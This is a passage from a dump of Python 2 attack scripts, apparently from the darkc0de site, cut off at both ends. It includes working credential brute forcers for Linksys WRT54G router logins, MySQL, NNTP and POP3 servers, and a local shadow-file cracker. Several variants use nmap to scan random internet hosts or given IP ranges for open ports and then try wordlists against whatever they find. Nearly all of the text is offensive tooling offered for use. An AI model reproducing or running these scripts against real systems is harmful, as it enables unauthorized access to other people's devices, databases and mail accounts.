msg\n\t\t\tpass\n\nfor x in range(int(sys.argv[1])):\n\tprint \"Scanning:\",x,\"of\",sys.argv[1]\n\tipaddr = scan()\n\tif ipaddr != None:\n\t\tprint \"\\n\\tAttempting BruteForce:\",ipaddr[0],\"\\n\"\n\t\tfor user in users:\n\t\t\tfor i in range(len(words)):\n\t\t\t\tif i == 0: reloader()\n\t\t\t\twork = Workhorse()\n\t\t\t\twork.start()\n\t\t\t\ttime.sleep(2)\n\n"
  },
  {
    "path": "linksysbrute.py",
    "content": "#!usr/bin/python\n#Linksys WRT54G router brute force\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, urllib2, socket\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./linksysbrute.py <server> <user> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nusername = sys.argv[2]\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\t\t\n\tlock.release()\n\treturn value[0][:-1] \n\ndef getauth(url):\n\t\n\treq = urllib2.Request(url)\n\ttry:\n    \t\thandle = urllib2.urlopen(req)\n\texcept IOError, e:                  \n    \t\tpass\n\tauthline = e.headers.get('www-authenticate', '')\n\tserver = e.headers.get('server', '')\n\treturn authline, server\n\t\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tpassword = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",username,\"Password:\",password\n\t\t\treq = urllib2.Request(sys.argv[1])\n\t\t\tpassman = urllib2.HTTPPasswordMgrWithDefaultRealm()\n\t\t\tpassman.add_password(None, sys.argv[1], username, password)\n\t\t\tauthhandler = urllib2.HTTPBasicAuthHandler(passman)\n\t\t\topener = urllib2.build_opener(authhandler)\n\t\t\tfd = opener.open(req)\n\t\t\tprint \"\\t\\n\\n[+] Login successful: Username:\",username,\"Password:\",password,\"\\n\"\t\t\t\n\t\t\tprint \"[+] Retrieved\", fd.geturl()\n\t\t\tinfo = fd.info()\n\t\t\tfor key, value in info.items():\n    \t\t\t\tprint \"%s = %s\" % (key, value)\n\t\t\tsys.exit(2)\n\t\texcept (urllib2.HTTPError,socket.error):\n\t\t\tpass\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com LinksysBrute v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Server:\",sys.argv[1]\nprint \"[+] User:\",username\nprint \"[+] Words Loaded:\",len(words)\ntry:\n\tauth, server = getauth(sys.argv[1])\nexcept(AttributeError):\n\tprint \"\\n[-] Connection Failure\\n\"\n\tsys.exit(1)\nif auth.find(\"WRT54G\") == -1:\n\tprint \"[-] WRT54G Router not found\"\nprint \"[+] Server:\",server\nprint \"[+]\",auth,\"\\n\"\n\nfor i in range(len(words)):\n\twork = Worker()\n\twork.setDaemon(1)\n\twork.start()\n\ttime.sleep(1)\n"
  },
  {
    "path": "locbrute.py",
    "content": "#!/usr/bin/python\n#Local account brute forcer.\n#(You need to be able to read shadow file)\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport sys, crypt, spwd\nif len(sys.argv) != 3:\n\tprint \"\\nUsage: ./locbrute.py <user> <wordlist>\"\n\tprint \"Ex: ./locbrute.py root words.txt\\n\"\n\tsys.exit(1)\n\nprint \"\\nAccounts with encrypted passwords:\\n\"\nusers = spwd.getspall()\nfor user in users:\n\tif user[1] not in [\"*\",\"!\"]: \n\t\tprint user[:2]\ntry:\n\twords = open(sys.argv[2], \"r\").readlines()\nexcept(IOError):\n\tprint \"\\n[-] Error: Couldn't open wordlist\\n\"\n\tsys.exit(1)\nprint \"\\n[+] Words Loaded:\",len(words)\ntry:\n\tpasswd = spwd.getspnam(sys.argv[1])[1]\nexcept(KeyError):\n\tprint \"\\n[-] User not found. Check list above\\n\"\n\tsys.exit(1)\nprint \"[+] Cracking:\",passwd\nfor word in words:\n\tword = word.replace(\"\\n\",\"\")\n\tif crypt.crypt(word, passwd) == passwd:\n\t\tprint \"\\n[!] Cracked: [ \",word,\" ]\\n\"\n\t\tsys.exit(1)\nprint \"\\n[-] Couldn't find match\\n\"\n\t\n\n\n\n\n\t\n\t\n\n\n\n"
  },
  {
    "path": "mysqlbrute.py",
    "content": "#!usr/bin/python\n#MySQL Brute Forcer\n#You need the MySQLdb package found here:\n#http://sourceforge.net/projects/mysql-python\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys\nfrom copy import copy\n\ntry:\n\timport MySQLdb\nexcept(ImportError):\n\tprint \"\\nYou need the MySQLdb package found here: http://sourceforge.net/projects/mysql-python\\n\"\n\tsys.exit(1)\n\nif len(sys.argv) !=6:\n\tprint \"Usage: ./mysqlbrute.py <server> <port> <database> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[4], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[5], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com MySQLBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Server:\",sys.argv[1]\nprint \"[+] Port:\",sys.argv[2]\nprint \"[+] Database:\",sys.argv[3]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\nwordlist = copy(words)\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\t\t\n\telse:\n\t\tprint \"\\nReloading Wordlist - Changing User\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\tusers.remove(users[0])\n\t\t\n\tlock.release()\n\tif len(users) ==1:\n\t\treturn value[0][:-1], users[0]\n\telse:\n\t\treturn value[0][:-1], users[0][:-1]\n\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue, user = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user,\"Password:\",value\n\t\t\tdb=MySQLdb.connect(host=sys.argv[1],user=user,passwd=value,db=sys.argv[3],port=int(sys.argv[2]))\n\t\t\tprint \"\\t\\nLogin successful:\",value, user\n\t\t\tdb.close()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept(MySQLdb.Error), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n \nfor i in range(len(words)*len(users)):\n\twork = Worker()\n\twork.start()\n\ttime.sleep(1)\n"
  },
  {
    "path": "mysqlbrute_iprange.py",
    "content": "#!usr/bin/python\n#MySQL Brute Forcer, searches ip_range for hosts using MySQL.\n#You need the MySQLdb package found here:\n#http://sourceforge.net/projects/mysql-python\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, re\nfrom copy import copy\n\ntry:\n\timport MySQLdb\nexcept(ImportError):\n\tprint \"\\nYou need the MySQLdb package found here: http://sourceforge.net/projects/mysql-python\\n\"\n\tsys.exit(1)\n\t\nif len(sys.argv) !=4:\n\tprint \"Usage: ./mysqlbrute_iprange.py <ip_range> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com MySQLBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\n\nwordlist = copy(words)\n\ndef scan():\n\n\tiprange = sys.argv[1]\n\tip_list = []\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 3306 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:\n\t    \t\tip_list.append(ipaddr[0])\n\treturn ip_list\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\tdb=MySQLdb.connect(host=ip,user=user,passwd=value)\n\t\t\tprint \"\\t\\nLogin successful:\",user, value\n\t\t\tdb.close()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept(MySQLdb.Error), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n \nip_list = scan()\nprint \"[+] Hosts Loaded:\",len(ip_list),\"\\n\"\nfor ip in ip_list:\n\tprint \"\\n\\tAttempting BruteForce:\",ip,\"\\n\"\n\tfor user in users:\n\t\tfor i in range(len(words)):\n\t\t\tif i == 0: reloader()\n\t\t\twork = Workhorse()\n\t\t\twork.start()\n\t\t\ttime.sleep(1)\n"
  },
  {
    "path": "mysqlbrute_random.py",
    "content": "#!usr/bin/python\n#Uses nmap to check if MySQL port is open, brute forces if it is.\n#You need the MySQLdb package found here:\n#http://sourceforge.net/projects/mysql-python\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, re\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./mysqlbrute_random.py <how many to scan> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com MySQLBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1],\"hosts\"\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\nwordlist = copy(words)\n\ndef scan():\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 3306 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:    \t\t\n\t\t\treturn ipaddr\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"Reloading Wordlist\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\tdb=MySQLdb.connect(host=ipaddr[0],user=user,passwd=value)\n\t\t\tprint \"\\t\\nLogin successful:\",user, value\n\t\t\tdb.close()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept(MySQLdb.Error), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n\nfor x in range(int(sys.argv[1])):\n\tprint \"Scanning:\",x,\"of\",sys.argv[1]\n\tipaddr = scan()\n\tif ipaddr != None:\n\t\tprint \"\\n\\tAttempting BruteForce:\",ipaddr[0],\"\\n\"\n\t\tfor user in users:\n\t\t\tfor i in range(len(words)):\n\t\t\t\tif i == 0: reloader()\n\t\t\t\twork = Workhorse()\n\t\t\t\twork.start()\n\t\t\t\ttime.sleep(2)\n\n"
  },
  {
    "path": "nntpbrute.py",
    "content": "#!usr/bin/python\n#NNTP Brute Forcer\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, nntplib, socket\nfrom nntplib import NNTP\nfrom copy import copy\n\nif len(sys.argv) !=5:\n\tprint \"Usage: ./nntpbrute.py <server> <port> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[4], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com nntpBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Server:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\ntry:\n\tn = nntplib.NNTP(sys.argv[1],int(sys.argv[2]))\n\tprint \"[+] Response:\",n.getwelcome(),\"\\n\"\n\tn.quit()\nexcept(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror):\n\tpass\n\nwordlist = copy(words)\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\t\t\n\telse:\n\t\tprint \"\\nReloading Wordlist - Changing User\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\tusers.remove(users[0])\n\t\t\n\tlock.release()\n\tif len(users) ==1:\n\t\treturn value[0][:-1], users[0]\n\telse:\n\t\treturn value[0][:-1], users[0][:-1]\n\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue, user = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user,\"Password:\",value\n\t\t\tn = nntplib.NNTP(sys.argv[1],int(sys.argv[2]),user,value)\n\t\t\tprint \"\\t\\nLogin successful:\",value, user\n\t\t\tn.quit()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror), msg: \n\t\t\tprint \"An error occurred:\", msg\n\t\t\tpass\n \nfor i in range(len(words)*len(users)):\n\twork = Worker()\n\twork.start()\n\ttime.sleep(1)\n"
  },
  {
    "path": "nntpbrute_iprange.py",
    "content": "#!usr/bin/python\n#NNTP Brute Forcer, searches ip_range for hosts using nntp.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, nntplib, re, socket\nfrom nntplib import NNTP\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./ftpbrute.py <ip_range> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com nntpBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\n\nwordlist = copy(words)\n\ndef scan():\n\n\tiprange = sys.argv[1]\n\tip_list = []\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 119 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:\n\t    \t\tip_list.append(ipaddr[0])\n\treturn ip_list\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\tn = nntplib.NNTP(ip,119,user,value)\n\t\t\tprint \"\\t\\nLogin successful:\",user, value\n\t\t\tn.quit()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror), msg: \n\t\t\tprint \"An error occurred:\", msg\n\t\t\tpass\n \nip_list = scan()\nprint \"[+] Hosts Loaded:\",len(ip_list),\"\\n\"\nfor ip in ip_list:\n\tprint \"\\n\\tAttempting BruteForce:\",ip,\"\\n\"\n\ttry:\n\t\tn = nntplib.NNTP(ip,119)\n\t\tprint \"[+] Response:\",n.getwelcome(),\"\\n\"\n\t\tn.quit()\n\texcept(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror):\n\t\tpass\n\tfor user in users:\n\t\tfor i in range(len(words)):\n\t\t\tif i == 0: reloader()\n\t\t\twork = Workhorse()\n\t\t\twork.start()\n\t\t\ttime.sleep(1)\n"
  },
  {
    "path": "nntpbrute_random.py",
    "content": "#!usr/bin/python\n#Uses nmap to check if NNTP port is open, brute forces if it is.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, nntplib, re, socket\nfrom nntplib import NNTP\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./nntpbrute.py <how many to scan> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com nntpBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1],\"hosts\"\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\nwordlist = copy(words)\n\ndef scan():\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 119 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:    \t\t\n\t\t\treturn ipaddr\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"Reloading Wordlist\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\tn = nntplib.NNTP(ipaddr[0],119,user,value)\n\t\t\tprint \"\\t\\nLogin successful:\",user, value\n\t\t\tn.quit()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept (nntplib.NNTPError, socket.gaierror, socket.error, socket.herror), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n\nfor x in range(int(sys.argv[1])):\n\tprint \"Scanning:\",x,\"of\",sys.argv[1]\n\tipaddr = scan()\n\tif ipaddr != None:\n\t\tprint \"\\n\\tAttempting BruteForce:\",ipaddr[0],\"\\n\"\n\t\ttry:\n\t\t\tn = nntplib.NNTP(ipaddr[0],119)\n\t\t\tprint \"[+] Response:\",n.getwelcome(),\"\\n\"\n\t\t\tn.quit()\n\t\texcept(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror):\n\t\t\tpass\n\t\tfor user in users:\n\t\t\tfor i in range(len(words)):\n\t\t\t\tif i == 0: reloader()\n\t\t\t\twork = Workhorse()\n\t\t\t\twork.start()\n\t\t\t\ttime.sleep(2)\n\n"
  },
  {
    "path": "popbrute.py",
    "content": "#!usr/bin/python\n#Pop3 Brute Forcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, poplib\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./popbrute.py <server> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\t\ntry:\n\tpop = poplib.POP3(sys.argv[1])\n\twelcome = pop.getwelcome()\n\tpop.quit()\nexcept (poplib.error_proto): \n\twelcome = \"No Response\"\n\tpass\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com popBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Server:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\nprint \"[+] Server response:\",welcome,\"\\n\"\n\nwordlist = copy(words)\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"Reloading Wordlist - Changing User\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\tusers.remove(users[0])\n\t\t\n\tlock.release()\n\treturn value[0][:-1], users[0][:-1]\n\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue, user = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user,\"Password:\",value\n\t\t\tpop = poplib.POP3(sys.argv[1])\n\t\t\tpop.user(user)\n\t\t\tpop.pass_(value)\n\t\t\tprint \"\\t\\nLogin successful:\",value, user\n\t\t\tprint pop.stat()\n\t\t\tpop.quit()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept (poplib.error_proto), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n \nfor i in range(len(words)*len(users)):\n\twork = Worker()\n\twork.start()\n\ttime.sleep(1)\n"
  },
  {
    "path": "popbrute_iprange.py",
    "content": "#!usr/bin/python\n#Pop3 Brute Forcer, searches ip_range for hosts using pop3.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, poplib, re\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./popbrute_iprange.py <ip_range> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com popBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\n\nwordlist = copy(words)\n\ndef scan():\n\n\tiprange = sys.argv[1]\n\tip_list = []\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 110 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:\n\t    \t\tip_list.append(ipaddr[0])\n\treturn ip_list\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\tpop = poplib.POP3(ip)\n\t\t\tpop.user(user[:-1])\n\t\t\tpop.pass_(value)\n\t\t\tprint \"\\t\\nLogin successful:\",value, user\n\t\t\tprint pop.stat()\n\t\t\tpop.quit()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept(poplib.error_proto), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n \nip_list = scan()\nprint \"[+] Hosts Loaded:\",len(ip_list),\"\\n\"\nfor ip in ip_list:\n\ttry:\n\t\tpop = poplib.POP3(ip)\n\t\twelcome = pop.getwelcome()\n\t\tpop.quit()\n\texcept (poplib.error_proto): \n\t\twelcome = \"No Response\"\n\t\tpass\n\tprint \"\\n\\tAttempting BruteForce:\",ip,\"\\n\"\n\tprint \"Server Response:\",welcome,\"\\n\"\n\tfor user in users:\n\t\tfor i in range(len(words)):\n\t\t\tif i == 0: reloader()\n\t\t\twork = Workhorse()\n\t\t\twork.start()\n\t\t\ttime.sleep(1)\n"
  },
  {
    "path": "popbrute_random.py",
    "content": "#!usr/bin/python\n#Uses nmap to check if pop3 port is open, brute forces if it is.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, poplib, re, socket\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./popbrute.py <how many to scan> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com popBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1],\"hosts\"\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\nwordlist = copy(words)\n\ndef scan():\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 110 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:    \t\t\n\t\t\treturn ipaddr\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"Reloading Wordlist\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\tpop = poplib.POP3(ipaddr[0])\n\t\t\tpop.user(user[:-1])\n\t\t\tpop.pass_(value)\n\t\t\tprint \"\\t\\nLogin successful:\",value, user\n\t\t\tprint pop.stat()\n\t\t\tpop.quit()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept(poplib.error_proto, socket.gaierror, socket.error, socket.herror), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n\nfor x in range(int(sys.argv[1])):\n\tprint \"Scanning:\",x,\"of\",sys.argv[1]\n\tipaddr = scan()\n\tif ipaddr != 